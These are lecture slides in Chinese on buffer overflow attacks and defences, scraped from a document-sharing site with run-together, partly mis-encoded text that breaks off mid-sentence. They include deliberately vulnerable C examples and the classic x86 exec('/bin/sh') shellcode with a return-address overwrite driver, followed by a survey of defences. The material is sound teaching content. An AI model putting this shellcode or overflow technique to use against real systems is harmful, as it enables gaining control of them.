第七章 計(jì)算機(jī)系統(tǒng)安全(緩沖區(qū)溢出)_第1頁(yè)
第七章 計(jì)算機(jī)系統(tǒng)安全(緩沖區(qū)溢出)_第2頁(yè)
第七章 計(jì)算機(jī)系統(tǒng)安全(緩沖區(qū)溢出)_第3頁(yè)
第七章 計(jì)算機(jī)系統(tǒng)安全(緩沖區(qū)溢出)_第4頁(yè)
第七章 計(jì)算機(jī)系統(tǒng)安全(緩沖區(qū)溢出)_第5頁(yè)
已閱讀5頁(yè),還剩60頁(yè)未讀 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說(shuō)明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡(jiǎn)介

2023/2/5網(wǎng)絡(luò)安全

NetworkSecurity2023/2/5第7章計(jì)算機(jī)系統(tǒng)安全(緩沖區(qū)溢出)緩沖區(qū)溢出概述緩沖區(qū)溢出攻擊的原理緩沖區(qū)溢出攻擊的防御技術(shù)2023/2/5第7章計(jì)算機(jī)系統(tǒng)安全(緩沖區(qū)溢出)緩沖區(qū)溢出概述緩沖區(qū)溢出攻擊的原理緩沖區(qū)溢出攻擊的防御技術(shù)2023/2/5緩沖溢出概述1.緩沖區(qū)的定義連續(xù)的一段存儲(chǔ)空間。2.緩沖區(qū)溢出的定義指寫(xiě)入緩沖區(qū)的數(shù)據(jù)量超過(guò)該緩沖區(qū)能容納的最大限度,造成溢出的數(shù)據(jù)改寫(xiě)了與該緩沖區(qū)相鄰的原始數(shù)據(jù)的情形。Bufferoverflowistheresultofwritingmoredataintoabufferthanthebuffercanhold.

2023/2/5ExampleConsiderthefollowingcodeintmain(void){charbuffer[4];strcpy(buffer,“AAA”);……}mainstackframe

previousstackframe…………buffer[4]HighaddressesLowaddressesAAA\02023/2/5Example(contd.)Nowweinput4+4+3‘A’sinsteadof4‘A’main(void){charbuffer[4];strcpy(buffer,“”);}AAAAAAAAAAAAAAmainstackframe

previousstackframe…………buffer[4]HigheraddressesLoweraddresses?AAAAAAAAAAA\0……2023/2/5緩沖溢出概述(續(xù))3.緩沖區(qū)溢出的危害利用緩沖區(qū)溢出實(shí)現(xiàn)在本地或者遠(yuǎn)程系統(tǒng)上實(shí)現(xiàn)任意執(zhí)行代碼的目的,從而進(jìn)一步達(dá)到對(duì)被攻擊系統(tǒng)的完全掌控;利用緩沖區(qū)溢出進(jìn)行DoS(DenialofService)攻擊;利用緩沖區(qū)溢出破壞關(guān)鍵數(shù)據(jù),使系統(tǒng)的穩(wěn)定性和有效性受到不同程度的影響;實(shí)現(xiàn)蠕蟲(chóng)程序1988RobertT.Morris蠕蟲(chóng)利用UNIX系統(tǒng)中In,theMorrisInternetwormexploitedbufferoverflowvulnerabilityinfingerdserverprogramonUNIXsystems.曾在2001年造成大約26億美元損失的CodeRed蠕蟲(chóng)及其變體就是利用了MicrosoftIIS中的緩沖區(qū)溢出進(jìn)行攻擊2002年的Sapphire蠕蟲(chóng)和2004年的Witty蠕蟲(chóng)也都利用了緩沖區(qū)溢出進(jìn)行攻擊。In2004,theWittywormtakesadvantageofabufferoverflowflawinseveralInternetSecuritySystems?(ISS)products.2023/2/5SourcefromCERT(ComputerEmergencyResponseTeam)CERTAdvisories,/advisories/緩沖區(qū)溢出相關(guān)的軟件安全隱患數(shù)目占整個(gè)軟件安全隱患數(shù)目的比例2023/2/5緩沖溢出概述(續(xù))4.造成緩沖區(qū)溢出的根本原因代碼在操作緩沖區(qū)時(shí),沒(méi)有有效地對(duì)緩沖區(qū)邊界進(jìn)行檢查,使得寫(xiě)入緩沖區(qū)的數(shù)據(jù)量超過(guò)緩沖區(qū)能夠容納的范圍,從而導(dǎo)致溢出的數(shù)據(jù)改寫(xiě)了與該緩沖區(qū)相鄰存儲(chǔ)單元的內(nèi)容。

CandC++arethemostcommonlanguagestocreatebufferoverflows.C語(yǔ)言中許多字符串處理函數(shù)如:Strcpy、Strcat、Gets、Sprintf等都沒(méi)有對(duì)數(shù)組越界加以檢測(cè)和限制。2023/2/5緩沖溢出概述(續(xù))MicrosoftWindows,Linux/Unix,AppleMacintosh等主流操作系統(tǒng)無(wú)一例外存在緩沖區(qū)溢出問(wèn)題。存在緩沖區(qū)溢出問(wèn)題的應(yīng)用程序也廣泛存在,涉及數(shù)據(jù)庫(kù)系統(tǒng)例如MicrosoftSQLServer2000,Oracle9i,網(wǎng)絡(luò)服務(wù)(MicrosoftIIS),網(wǎng)絡(luò)協(xié)議實(shí)現(xiàn)(例如OpenSSL),多媒體軟件(AppleQuickTime)等等

2023/2/5緩沖溢出概述(續(xù))緩沖區(qū)溢出可以成為攻擊者實(shí)現(xiàn)攻擊目標(biāo)的手段,但是單純地溢出緩沖區(qū)并不能達(dá)到攻擊的目的。在絕大多數(shù)情況下,一旦程序中發(fā)生緩沖區(qū)溢出,系統(tǒng)會(huì)立即中止程序并報(bào)告“faultsegment”。例如緩沖區(qū)溢出,將使返回地址改寫(xiě)為一個(gè)非法的、不存在的地址,從而出現(xiàn)coredump錯(cuò)誤,不能達(dá)到攻擊目的。只有對(duì)緩沖區(qū)溢出“適當(dāng)?shù)亍奔右岳茫粽卟拍芡ㄟ^(guò)其實(shí)現(xiàn)攻擊目標(biāo)。2023/2/5第7章計(jì)算機(jī)系統(tǒng)安全(緩沖區(qū)溢出)緩沖區(qū)溢出概述緩沖區(qū)溢出攻擊的原理緩沖區(qū)溢出攻擊的防御技術(shù)2023/2/5緩沖溢出攻擊的原理1.緩沖區(qū)溢出攻擊模式AttackedSystem溢出緩沖區(qū)重定向到攻擊程序任意地執(zhí)行程序執(zhí)行攻擊程序Attacker注入惡意數(shù)據(jù)獲得控制權(quán)找到可利用的緩沖區(qū)溢出隱患惡意數(shù)據(jù)可以通過(guò)命令行參數(shù)、環(huán)境變量、輸入文件或者網(wǎng)絡(luò)數(shù)據(jù)注入2023/2/5緩沖溢出攻擊的原理(續(xù))2.緩沖區(qū)溢出可能發(fā)生的位置預(yù)備知識(shí)點(diǎn)進(jìn)程在內(nèi)存中的布局2023/2/5緩沖溢出攻擊的原理(續(xù))代碼段/文本段用于放置程序的可執(zhí)行代碼(機(jī)器碼)。數(shù)據(jù)段用于放置已初始化的全局變量和已初始化的局部靜態(tài)變量。BSS(BlockStartedbySymbol)段用于放置未初始化的全局變量和未初始化的局部靜態(tài)變量。堆用于動(dòng)態(tài)分配內(nèi)存。堆棧段用于存放函數(shù)的參數(shù),返回地址,調(diào)用函數(shù)的棧基址以及局部非靜態(tài)變量。進(jìn)程的環(huán)境變量和參數(shù)

.text.data.bssheapunusedstackenvLowaddressHighaddressLinux/IntelIA-32architecture

2023/2/5緩沖溢出攻擊的原理(續(xù))2.緩沖區(qū)溢出可能發(fā)生的位置(續(xù))堆棧(stack)堆(heap)數(shù)據(jù)段(data)BSS段.text.data.bssheapunusedstackenvLowaddressHighaddressLinux/IntelIA-32architecture

2023/2/5緩沖溢出攻擊的原理(續(xù))2.緩沖區(qū)溢出可能發(fā)生的位置(續(xù))堆棧(stack)堆(heap)數(shù)據(jù)段(data)BSS段.text.data.bssheapunusedstackenvLowaddressHighaddressLinux/IntelIA-32architecture

2023/2/5被調(diào)函數(shù)堆棧布局堆棧采用后進(jìn)先出(LIFO)的方式管理數(shù)據(jù),這種方式是實(shí)現(xiàn)函數(shù)嵌套調(diào)用的關(guān)鍵。

PreviousstackframesFunctionargumentsReturnaddressPreviousframepointerLocalvariablesHighaddressLowaddress從右到左的順序指令寄存器(EIP)基址寄存器(EBP)局部非靜態(tài)變量2023/2/5緩沖溢出攻擊的原理(續(xù))基于堆棧的緩沖區(qū)溢出voidfunction(char*str){ charbuffer[4]; strcpy(buffer,str);}voidmain(intargc,char**argv){ charlarge_string[8]; inti; for(i=0;i<8;i++) large_buffer[i]=‘A’ function(large_string);}2023/2/5Example(contd.)Large_string上一個(gè)棧幀地址

返回地址

argv內(nèi)存低端內(nèi)存高端argcESPmain函數(shù)棧幀voidmain(intargc,char**argv)i2023/2/5緩沖溢出攻擊的原理(續(xù))基于堆棧的緩沖區(qū)溢出voidfunction(char*str){ charbuffer[4]; strcpy(buffer,str);}voidmain(intargc,char**argv){ charlarge_string[8]; inti; for(i=0;i<8;i++) large_buffer[i]=‘A’ function(large_string);}2023/2/5Example(contd.)Large_string上一個(gè)棧幀地址返回地址argv內(nèi)存低端內(nèi)存高端argcESPMain函數(shù)的棧幀i*str返回地址main函數(shù)的棧幀地址bufferfunction函數(shù)棧幀function函數(shù)被調(diào)用,調(diào)用strcpy之前voidfunction(char*str)…………2023/2/5Example(contd.)Large_string上一個(gè)棧幀地址返回地址argv內(nèi)存低端內(nèi)存高端argcESPMain函數(shù)的棧幀i*str返回地址AAAAAAAAfunction函數(shù)棧幀function函數(shù)被調(diào)用,調(diào)用strcpy之后voidfunction(char*str)…………2023/2/5緩沖溢出攻擊的原理(續(xù))基于堆棧的緩沖區(qū)溢出的潛在危害改寫(xiě)返回地址改寫(xiě)調(diào)用函數(shù)棧的棧幀地址

被調(diào)函數(shù)……movl%ebp,%esppopl%ebpret調(diào)用函數(shù)……movl%ebp,%esppopl%ebpret2023/2/5緩沖溢出攻擊的原理(續(xù))基于堆棧的緩沖區(qū)溢出的潛在危害(續(xù))改寫(xiě)函數(shù)指針改寫(xiě)虛函數(shù)指針改寫(xiě)異常處理指針改寫(xiě)數(shù)據(jù)指針

voidBadCode(char*string){void(*p)()=...;charbuff[100];strcpy(buff,string);p();……}2023/2/5緩沖溢出攻擊的原理(續(xù))2.緩沖區(qū)溢出可能發(fā)生的位置(續(xù))堆棧(stack)堆(heap)數(shù)據(jù)段(data)BSS段.text.data.bssheapunusedstackenvLowaddressHighaddressLinux/IntelIA-32architecture

2023/2/5緩沖溢出攻擊的原理(續(xù))基于堆的緩沖區(qū)溢出Heapisacontiguousmemoryusedtodynamicallyallocatespacewherethesizewillbeknownonlyduringtheexecutionofthecode.

在Linux中,堆空間按照DougLea算法實(shí)現(xiàn)動(dòng)態(tài)分配。在C程序中,標(biāo)準(zhǔn)庫(kù)函數(shù)malloc()/free()用于從堆中動(dòng)態(tài)申請(qǐng)/釋放塊;對(duì)于C++程序,相應(yīng)函數(shù)為new/delete。2023/2/5緩沖溢出攻擊的原理(續(xù))基于堆的緩沖區(qū)溢出(續(xù))voidmain(intargc,char**argv){char*buf1=(char*)malloc(16);char*buf2=(char*)malloc(16);strcpy(buf1,”AAAAAAAAAAAAAAA”);strcpy(buf2,argv[1]);}0030035000300360003003700030034000300380buf[2]buf[1]buf[2]AAAAAAAAAAAAAAA\02023/2/5buf[2]AAAAAAAAAAAAAAAA基于堆的緩沖區(qū)溢出正常輸入Prompt:>BB..BBB(total15‘B’s)產(chǎn)生溢出的輸入Prompt:>BB..BBB(total40‘B’s)(a)heaplayoutwithoutoverflow0030035000300360003003700030034000300380BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\0AAAAAA\0(b)heaplayoutwithoverflowBBBBBBBBBBBBBBB\0AAAAAAAAAAAAAAA\02023/2/5基于堆的緩沖區(qū)溢出攻擊舉例1996年BSDIcrontab被發(fā)現(xiàn)存在基于堆的緩沖區(qū)溢出隱患,攻擊者可以通過(guò)輸入一個(gè)長(zhǎng)文件名溢出在堆上的緩沖區(qū),溢出數(shù)據(jù)改寫(xiě)的區(qū)域是保存有用戶名、密碼、uid,gid等信息的區(qū)域。2023/2/5緩沖溢出攻擊的原理(續(xù))2.緩沖區(qū)溢出可能發(fā)生的位置(續(xù))堆棧(stack)堆(heap)數(shù)據(jù)段(data)BSS段.text.data.bssheapunusedstackenvLowaddressHighaddressLinux/IntelIA-32architecture

2023/2/5緩沖溢出攻擊的原理(續(xù))基于數(shù)據(jù)段的緩沖區(qū)溢出voidOverflow_Data(char*input){staticcharbuf[4]=”CCCC”;inti;for(i=0;i<12;i++)buf[i]=‘A’;}2023/2/5緩沖溢出攻擊的原理(續(xù))2.緩沖區(qū)溢出可能發(fā)生的位置(續(xù))堆棧(stack)堆(heap)數(shù)據(jù)段(data)BSS段.text.data.bssheapunusedstackenvLowaddressHighaddressLinux/IntelIA-32architecture

2023/2/5緩沖溢出攻擊的原理(續(xù))基于BSS段的緩沖區(qū)溢出voidOverflow_BSS(char*input){staticcharbuf[4];inti;for(i=0;i<12;i++)buf[i]=‘A’;}2023/2/5緩沖溢出攻擊的原理(續(xù))3.常見(jiàn)的溢出緩沖區(qū)的途徑利用C的標(biāo)準(zhǔn)函數(shù)庫(kù)常見(jiàn)的有strcpy、strcat、sprintf、gets“Mudge”.HowtoWriteBufferOverflows.http:///advisories/bufero.html,1997.PaulA.HenryMCP+Ietal.BufferOverflowAttacks.CyberGuardCorp.C.Cowanetal.Bufferoverflows:Attacksanddefensesforthevulnerabilityofthedecade.ProceedingsoftheDARPAInformationSurvivabilityConferenceandExpo,1999.

2023/2/5緩沖溢出攻擊的原理(續(xù))利用數(shù)組下標(biāo)的越界操作Off-by-one緩沖區(qū)溢出利用數(shù)組的最大下標(biāo)與數(shù)組長(zhǎng)度的差異產(chǎn)生。例如1998年10月BugTraq公布出Linuxlibc中的realpath函數(shù)存在single-byte緩沖區(qū)溢出隱患,攻擊者可以利用它獲得root權(quán)限。參見(jiàn)O.Kirch.Thepoisonednulbyte,posttothebugtraqmailinglist,October1998.2000年12月OpenBSD安全組公布ftpd存在類似安全隱患。參見(jiàn)OpenBSDdevelopers,single-bytebufferoverflowvulnerabilityinftpd,December2000.

voidBadCode(char*str){charbuffer[512];for(i=0;i<=512;i++)buffer[i]=str[i];}2023/2/5緩沖溢出攻擊的原理(續(xù))利用有符號(hào)整數(shù)與無(wú)符號(hào)整數(shù)的轉(zhuǎn)換

voidBadCode(char*input){shortlen;charbuf[64];len=strlen(input);if(len<MAX_BUF)strcpy(buf,input);}2023/2/5緩沖溢出攻擊的原理(續(xù))4.惡意代碼(注入)例如為實(shí)現(xiàn):“exec(/bin/sh)”charshellcode[]=”\xeb\x1f\x5e\x89\x76\x08\x31\xc0””\x88\x46\x07\x89\x46\x0c\xb0\x0b””\x89\xf3\x8d\x4e\x08\x8d\x56\x0c””\xcd\x80\x31\xdb\x89\xd8\x40\xcd””\x80\xe8\xdc\xff\xff\xff/bin/sh”;charlarge_string[128];voidmain(){charbuffer[96];inti;long*long_ptr;long_ptr=(long*)large_string;for(i=0;i<32;i++)*(long_ptr+i)=(int)buffer;for(i=0;i<strlen(shellcode);i++)large_string[i]=shellcode[i];strcpy(buffer,large_string);}2023/2/5Thesecretoftheshellcodecharshellcode[]=/*main:*/"\xeb\x1f"/*jmp$0x1forjmpcallz *//*start:*/"\x5e"/*popl%esi */"\x89\x76\x08"/*movl%esi,$0x08(%esi) */"\x31\xc0"/*xorl%eax,%eax */"\x88\x46\x07"/*movb%al,0x07(%esi) */"\x89\x46\x0c"/*movl%eax,$0x0c(%esi) */"\xb0\x0b"/*movb$0x0b,%al */"\x89\xf3"/*movl%esi,%ebx */"\x8d\x4e\x08"/*leal0x08(%esi),%ecx */"\x8d\x56\x0c"/*leal0x0c(%esi),%edx */"\xcd\x80"/*int$0x80 */"\x31\xdb"/*xorl%ebx,%ebx */"\x89\xd8"/*movl%ebx,%eax */"\x40"/*inc%eax */"\xcd\x80"/*int$0x80 *//*callz:*/"\xe8\xdc\xff\xff\xff"/*callstart *//*DATA*/"/bin/sh";1322023/2/5基于堆棧的緩沖區(qū)溢出攻擊舉例charshellcode[]=”\xeb\x1f\x5e\x89\x76\x08\x31\xc0””\x88\x46\x07\x89\x46\x0c\xb0\x0b””\x89\xf3\x8d\x4e\x08\x8d\x56\x0c””\xcd\x80\x31\xdb\x89\xd8\x40\xcd””\x80\xe8\xdc\xff\xff\xff/bin/sh”;charlarge_string[128];voidmain(){charbuffer[96];inti;long*long_ptr;long_ptr=(long*)large_string;for(i=0;i<32;i++)*(long_ptr+i)=(int)buffer;for(i=0;i<strlen(shellcode);i++)large_string[i]=shellcode[i];strcpy(buffer,large_string);}for(i=0;i<strlen(shellcode);i++)large_string[i]=shellcode[i];strcpy(buffer,large_string);2023/2/5溢出前后堆棧內(nèi)容對(duì)比HigheraddressesLoweraddressespreviousstackframeilong_ptrreturnaddresssavedEBPbuffer[96]mainstackframepreviousstackframeilong_ptraddress/bin/sh……\xeb\x1f堆棧溢出前堆棧溢出后2023/2/5緩沖溢出攻擊的原理(續(xù))4.惡意代碼(已在內(nèi)存)利用已在內(nèi)存中的代碼作為攻擊代碼,但是需要提供調(diào)用這些現(xiàn)成代碼產(chǎn)生攻擊的參數(shù)。由于libc中的庫(kù)函數(shù)常被用作現(xiàn)成的攻擊代碼,所以有時(shí)把這種攻擊方式稱為

return-to-libc。可參見(jiàn)Nergal.Theadvancedreturn-into-lib(c)exploits:Paxcasestudy.Phrack,Dec.2001.

2023/2/5第7章計(jì)算機(jī)系統(tǒng)安全(緩沖區(qū)溢出)緩沖區(qū)溢出概述緩沖區(qū)溢出攻擊的原理緩沖區(qū)溢出攻擊的防御技術(shù)2023/2/5緩沖區(qū)溢出攻擊的防御技術(shù)基于軟件的防御技術(shù)類型安全的編程語(yǔ)言相對(duì)安全的函數(shù)庫(kù)修改的編譯器內(nèi)核補(bǔ)丁靜態(tài)分析方法動(dòng)態(tài)檢測(cè)方法基于硬件的防御技術(shù)處理器結(jié)構(gòu)方面的改進(jìn)2023/2/5緩沖區(qū)溢出攻擊的防御技術(shù)基于軟件的防御技術(shù)類型安全的編程語(yǔ)言相對(duì)安全的函數(shù)庫(kù)修改的編譯器內(nèi)核補(bǔ)丁靜態(tài)分析方法動(dòng)態(tài)檢測(cè)方法基于硬件的防御技術(shù)處理器結(jié)構(gòu)方面的改進(jìn)2023/2/5基于軟件的防御技術(shù)安全的編程語(yǔ)言Java,C#,VisualBasic,Pascal,Ada,Lisp,ML屬于類型安全的編程語(yǔ)言。可參考MishaZiseretal.TestingStaticAnalysisToolsUsingExploitableBufferOverflowsFromOpenSourceCode.Proceedingsofthe12thACMSIGSOFTtwelfthinternationalsymposiumonFoundationsofsoftwareengineering,2004.

缺點(diǎn)性能代價(jià)類型安全的編程語(yǔ)言自身的實(shí)現(xiàn)可能存在緩沖區(qū)溢出問(wèn)題。

2023/2/5緩沖區(qū)溢出攻擊的防御技術(shù)基于軟件的防御技術(shù)類型安全的編程語(yǔ)言相對(duì)安全的函數(shù)庫(kù)修改的編譯器內(nèi)核補(bǔ)丁靜態(tài)分析方法動(dòng)態(tài)檢測(cè)方法基于硬件的防御技術(shù)處理器結(jié)構(gòu)方面的改進(jìn)2023/2/5基于軟件的防御技術(shù)(續(xù))相對(duì)安全的標(biāo)準(zhǔn)庫(kù)函數(shù)例如在使用C的標(biāo)準(zhǔn)庫(kù)函數(shù)時(shí),做如下替換strcpy->strncpystrcat->strncatgets->fgets缺點(diǎn)使用不當(dāng)仍然會(huì)造成緩沖區(qū)溢出問(wèn)題。例如MicrosoftVisualStudio提供的C的標(biāo)準(zhǔn)函數(shù)庫(kù)strsafe;

2023/2/5緩沖區(qū)溢出攻擊的防御技術(shù)基于軟件的防御技術(shù)類型安全的編程語(yǔ)言相對(duì)安全的函數(shù)庫(kù)修改的編譯器內(nèi)核補(bǔ)丁靜態(tài)分析方法動(dòng)態(tài)檢測(cè)方法基于硬件的防御技術(shù)處理器結(jié)構(gòu)方面的改進(jìn)2023/2/5基于軟件的防御技術(shù)(續(xù))修改的編譯器增強(qiáng)邊界檢查能力的C/C++編譯器例如針對(duì)GNUC編譯器擴(kuò)展數(shù)組和指針的邊界檢查。WindowsVisualC++.NET的GS選項(xiàng)也提供動(dòng)態(tài)檢測(cè)緩沖區(qū)溢出的能力。返回地址的完整性保護(hù)將堆棧上的返回地址備份到另一個(gè)內(nèi)存空間;在函數(shù)執(zhí)行返回指令前,將備份的返回地址重新寫(xiě)回堆棧。許多高性能超標(biāo)量微處理器具有一個(gè)返回地址棧,用于指令分支預(yù)測(cè)。返回地址棧保存了返回地址的備份,可用于返回地址的完整性保護(hù)

缺點(diǎn)性能代價(jià)檢查方法仍不完善

2023/2/5緩沖區(qū)溢出攻擊的防御技術(shù)基于軟件的防御技術(shù)類型安全的編程語(yǔ)言相對(duì)安全的函數(shù)庫(kù)修改的編譯器內(nèi)核補(bǔ)丁靜態(tài)分析方法動(dòng)態(tài)檢測(cè)方法基于硬件的防御技術(shù)處理器結(jié)構(gòu)方面的改進(jìn)2023/2/5基于軟件的防御技術(shù)(續(xù))內(nèi)核補(bǔ)丁將堆棧標(biāo)志為不可執(zhí)行來(lái)阻止緩沖區(qū)溢出攻擊;將堆或者數(shù)據(jù)段標(biāo)志為不可執(zhí)行。例如Linux的內(nèi)核補(bǔ)丁Openwall、RSX、kNoX、ExecShield和PaX等實(shí)現(xiàn)了不可執(zhí)行堆棧,并且RSX、kNoX、ExecShield、PaX還支持不可執(zhí)行堆。另外,為了抵制return-to-libc這類的攻擊,PaX增加了一個(gè)特性,將函數(shù)庫(kù)映射到隨機(jī)的內(nèi)存空間缺點(diǎn):對(duì)于一些需要堆棧/堆/數(shù)據(jù)段為可執(zhí)行狀態(tài)的應(yīng)用程序不合適;需要重新編譯原來(lái)的程序,如果沒(méi)有源代碼,就不能獲得這種保護(hù)。

2023/2/5緩沖區(qū)溢出攻擊的防御技術(shù)基于軟件的防御技術(shù)類型安全的編程語(yǔ)言相對(duì)安全的函數(shù)庫(kù)修改的編譯器內(nèi)核補(bǔ)丁靜態(tài)分析方法動(dòng)態(tài)檢測(cè)方法基于硬件的防御技術(shù)處理器結(jié)構(gòu)方面的改進(jìn)2023/2/5基于軟件的防御技術(shù)(續(xù))靜態(tài)分析方法字典檢查法遍歷源程序查找其中使用到的不安全的庫(kù)函數(shù)和系統(tǒng)調(diào)用。例如靜態(tài)分析工具ITS4、RATS(RoughAuditingToolforSecurity)等。其中RATS提供對(duì)C,C++,Perl,PHP以及Python語(yǔ)言的掃描檢測(cè)。缺點(diǎn):誤報(bào)率很高,需要配合大量的人工檢查工作。2023/2/5基于軟件的防御技術(shù)(續(xù))靜態(tài)分析方法(續(xù))程序注解法

包括緩沖區(qū)的大小,指針是否可以為空,輸入的有效約定等等。例如靜態(tài)分析工具LCLINT、SPLINT(SecureProgrammingLint)。缺點(diǎn):依賴注釋的質(zhì)量2023/2/5基于軟件的防御技術(shù)(續(xù))靜態(tài)分析方法(續(xù))整數(shù)分析法將字符串形式化為一對(duì)整數(shù),表明字符串長(zhǎng)度(以字節(jié)數(shù)為單位)以及目前已經(jīng)使用緩沖區(qū)的字節(jié)數(shù)。通過(guò)這樣的形式化處理,將緩沖區(qū)溢出的檢測(cè)轉(zhuǎn)化為整數(shù)計(jì)算。例如靜態(tài)分析工具BOON(BufferOverrundetectiON)。缺點(diǎn):僅檢查C中進(jìn)行字符串操作的標(biāo)準(zhǔn)庫(kù)函數(shù)。檢查范圍很有限。

2023/2/5基于軟件的防御技術(shù)(續(xù))靜態(tài)分析方法(續(xù))控制流程分析法將源程序中的每個(gè)函數(shù)抽象成語(yǔ)法樹(shù),然后再把語(yǔ)法樹(shù)轉(zhuǎn)換為調(diào)用圖/控制流程圖來(lái)檢查函數(shù)參數(shù)和緩沖區(qū)的范圍。例如靜態(tài)分析工具ARCHER(ARrayCHeckER)、UNO、PREfast和Coverity等。缺點(diǎn):對(duì)于運(yùn)行時(shí)才會(huì)顯露的問(wèn)題無(wú)法進(jìn)行分析;存在誤報(bào)的可能。

2023/2/5緩沖區(qū)溢出攻擊的防御技術(shù)基于軟件的防御技術(shù)類型安全的編程語(yǔ)言相對(duì)安全的函數(shù)庫(kù)修改的編譯器內(nèi)核補(bǔ)丁靜態(tài)分析方法動(dòng)態(tài)檢測(cè)方法基于硬件的防御技術(shù)處理器結(jié)構(gòu)方面的改進(jìn)2023/2/5基于軟件的防御技術(shù)(續(xù))動(dòng)態(tài)檢測(cè)方法

Canary-based檢測(cè)方法將canary(一個(gè)檢測(cè)值)放在緩沖區(qū)和需要保護(hù)的數(shù)據(jù)之間,并且假設(shè)如果從緩沖區(qū)溢出的數(shù)據(jù)改寫(xiě)了被保護(hù)數(shù)據(jù),檢測(cè)值也必定被改寫(xiě)。例如動(dòng)態(tài)檢測(cè)工具StackGuard、StackGhost、ProPolice、PointGuard等。缺點(diǎn):多少工具通過(guò)修改編譯器實(shí)現(xiàn)檢測(cè)功能,需要重新編譯程序;這種方法無(wú)法檢測(cè)能過(guò)繞過(guò)檢測(cè)值的緩沖區(qū)溢出攻擊。

protectedDatacanary......buffer2023/2/5基于軟件的防御技術(shù)(續(xù))動(dòng)態(tài)檢測(cè)方法(續(xù))輸入檢測(cè)方法向運(yùn)行程序提供不同的輸入,檢查在這些輸入條件下程序是否出現(xiàn)緩沖區(qū)溢出問(wèn)題。不僅能檢測(cè)緩沖區(qū)溢出問(wèn)題,還可以檢測(cè)其它內(nèi)存越界問(wèn)題。采用輸入檢測(cè)方法的工具有Purify、Fuzz和FIST(FaultInjectionSecurityTool)。缺點(diǎn):系統(tǒng)性能明

溫馨提示

  • 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。

評(píng)論

0/150

提交評(píng)論